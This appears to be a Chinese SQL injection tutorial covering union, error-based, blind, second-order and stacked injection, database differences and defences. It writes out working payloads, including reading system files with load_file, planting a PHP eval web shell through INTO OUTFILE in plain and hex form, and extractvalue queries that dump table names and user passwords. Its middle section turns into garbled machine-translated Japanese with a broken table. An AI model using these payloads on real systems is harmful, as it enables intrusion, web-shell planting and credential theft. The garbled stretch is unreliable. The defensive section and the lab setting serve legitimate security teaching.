修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
2. 当前用户具有文件权限
- 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+
- 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
3. 知道文件绝对路径
- 读取文件,使用 load_file
下面两种方法一样
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
- 写入文件,使用 into_outfile
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写
?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马
# 1. 直接写
?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
查询方式及报错盲注⭐
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
查询方式
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
- select:查询数据在网站应用中进行数据显示查询操作
举例:select * from news where id=$id
- insert:插入数据在网站应用中进行用户注册添加等操作
举例:insert into news(id,url,text) values(2,'x','$t')
- delete:删除数据后台管理里面删除文章删除用户等操作
举例:delete from news where id=$id
- update更新数据会员或后台中心数据同步或缓存等操作
举例:update user set pwd='$p' where id=2 and username='admin'
- order by排序数据一般结合表名或列名进行数据排序操作
举例:select * from news order by $id
举例:select id,name,price from news order by $order
报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid
基于时间的SQ盲注-延时判断(不回显)
if,sleep
基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
报错注入函数
- floor()
- floor(x),返回小于或等于x的最大整数。
- payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
- x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
- 报错原因:主键重复,必需:count()、rand()、group by
- 分析链接:https://xz.aliyun.com/t/253#toc-2
- exp()
- exp(x)返回e^x。
- 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
- payload:id =1 and EXP(~(SELECT * from(select user())a))
- updatexml()
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
- 函数语法解析:
- XML_document:是字符串String格式,为XML文档对象名称
- Xpath_string:Xpath格式的字符串
- new_value:string格式,替换查找到的符合条件的数据
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
- extractvalue()
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))
2. 获取当前注入点的用户权限信息及操作系统版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))
3. 获取当前位置所用数据库的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))
4. 获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
5. 获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))
6. 获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
原理
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
实施步骤
- 插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 引用恶意数据
举例
这里使用的是sql-libs靶场的第24关
- 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示
- 注册一个新用户
注册了一个新用户之后的数据库如下
新用户登录,并重置密码
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
- レベル 24 のソース コードでは、以下に示すように理由がわかります
##スタック クエリスタック インジェクション(スタックインジェクション)とは、名詞の意味からもわかるように、SQL文を(複数)まとめて実行することです。これは実際のアプリケーションでも同様で、mysql では、主にコマンド ラインで、ステートメントの終わりを示すために各ステートメントの最後に ; が追加されることがわかっています。このように、複数の文を併用できないか考えてみました。そこで、スタック インジェクション (スタック クエリとも呼ばれます) が登場しました。
注: スタック インジェクションの使用条件は非常に限られており、API やデータベース エンジン、または権限によって制限される場合があります。複数の SQL ステートメントの実行をサポートするためにデータベース関数が呼び出される場合にのみ使用できます。mysqli_multi_query() 関数は複数の SQL ステートメントの同時実行をサポートします。ただし、実際の状況では、PHP などで SQL が実行されるのを防ぐため、インジェクションの仕組みとしては、データベースを呼び出す関数がよく使われますが、mysqli_query()関数は1文しか実行できず、セミコロン以降の内容は実行されないため、スタックインジェクションの利用条件は非常に厳しいと言えます。
##DNSlog
DNSlog は、DNS サーバーに保存されているドメイン名情報であり、ユーザーの Web サイトへのアクセス情報が記録されます。ドメイン名 www.baidu.com など、ログ ファイルと同様です。その他の操作については、侵入テストにおける DNSlog の実践的なスキルの簡単な分析
ブレイン マップ
一般的なデータベースとインジェクション関連⭐
##を参照してください。 # MySQL、SQLServer、Oracle、PostgreSQL、Access の 5 つのデータベースは、現在市場で最も人気のあるデータベースです。侵入テストを実施する際、最もよく遭遇するのはこれらのタイプのデータベースです。この記事では、インジェクション中のこれらのタイプのデータベース間の類似点と相違点に関する統計を作成します。 コメント文字、データベース ポート
##MySQL
SQLServer |
Oracle |
PostgreSQL |
アクセス |
|
|
単一行コメント
| # ###### - ############ - ############ - #########なし#### ##複数行のコメント |
/**/
|
/**/
|
/**&*/
| なし |
##データベース ポート
3306 |
1433 1521 |
5432 はファイル データベースです。したがって、ポート番号は必要ありません |
数据库文件后缀名
- MySQL:数据文件:
.myd 、索引文件:.MYI 、表定义文件:.frm
- SQLServer:
.mdf
- Oracle:
.dbf 和 .ora
- PostgreSQL:无后缀名
- Access:Office 2007之前是
.mdb ,Office 2007及之后是.accdb
特有的数据库
- MySQL: information_schema(Mysql5.0以上的版本)
- SQLServer:sysobjects
- Oracle:dual
- PostgreSQL:
- Access:msysobjects
查看当前用户或权限
- MySQL
查询当前用户
select user();
select substring_index(user(), '@', 1) ;
查询当前用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;
- SQLServer
判断是否是SA权限select is_srvrolemember('sysadmin') 判断是否是db_owner权限
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')
- Oracle
查看当前用户select * from user_users;查看当前用户拥有的角色
select * from session_roles;查看当前用户拥有的权限select * from session_privs;
- PostgreSQL
select user #查看用户select current_user #查看当前用户
- ACCESS
Access数据库是文件类型数据库,没有用户和权限的概念
ASCII转换函数
- MySQL:select char(97)
SQLServer:select char(97)
Oracle:select chr(97) from dual
- **PostgreSQL:select chr(97) **
- **Access:select chr(97) **
select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)
不同数据库注入结果的区别⭐
- mssql
- MySQL
- oracle
Sql注入中连接字符串常用函数
在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat() ,group_concat() ,concat_ws() 。 本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。
concat()函数
不使用字符串连接函数时:
但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()
concat() 语法及使用特点:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。 示例如下:
concat_ws 函数
使用方法:CONCAT_WS(separator,str1,str2,...)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT() 的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。 这里以逗号分隔符为例,演示一下
group_concat 函数
基本查询
mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200 |
|3 | 500 |
+------+------+
6 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔(默认)
mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,分号分隔
mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500 |
+------+----------------------------------+
3 rows in set (0.00 sec)
以id分组,把去冗余的name字段的值打印在一行, 逗号分隔
mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20 |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10 |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)
补充知识—数据库结构
数据库结构:数据库 —> 表名 —> 列名 —> 数据 演示如下:
- 查看MySQL数据库中,包含了哪些数据库
show database;
- 查看数据库中有哪些表
use dvwa; # 选中dvwa数据库
show tables; # 查看dvwa数据库中有哪些表
- 查询表中的内容
- 查看user表中的全部内容:
select * from user;
- 以列的形式查看user表中的全部内容:
select *from user\G;
- 查看表中的部分内容:
select user,password from user;
补充知识—关于SQL的一些常识
注释
减减空格 |
"-- " |
"–%20" |
“–+” |
# |
“#” |
"%23" |
|
|
|
|
|
内联注释 |
/* 被注释掉的内容 */ |
|
|
|
|
|
|
|
|
|
|
点
数据库中,符号. 代表下一级,如dvwa.user表示dvwa数据库下的user表
常用语句和函数
推荐阅读:SQL注入必备知识初级 1:mysql -uroot -proot登录数据库 2:show databases; 查看有哪些数据库 3:use informatin_schema; 使用某数据库 4:limit的用法
- limit的使用格式是limit m,n
- 其中m是指记录开始的位置,从0开始表示第一条记录
- n是指提取n条记录
5:select 函数名; 查询某内容 函数名有以下:
防御措施
防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:
代码层
-
内置过滤系统(本质是黑名单,很常见但是不推荐)
-
采用参数化查询&预编译(推荐)
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
- 采用框架的安全写法
例如Mybatis中使用# 可以防止SQL注入,$ 并不能防止SQL注入 thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等
Thinkphp框架的安全写法
安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制
//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8 UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;
数据库加固
主要包括:
- 最小权限原则,禁止将任何高权限帐户(例如sa、dba、root等)用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。
- 禁用敏感函数拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell、into_outfile 等
- 网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。
- 限制用户所能够访问的数据库表
其他
例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。
相关推荐:《mysql教程》
|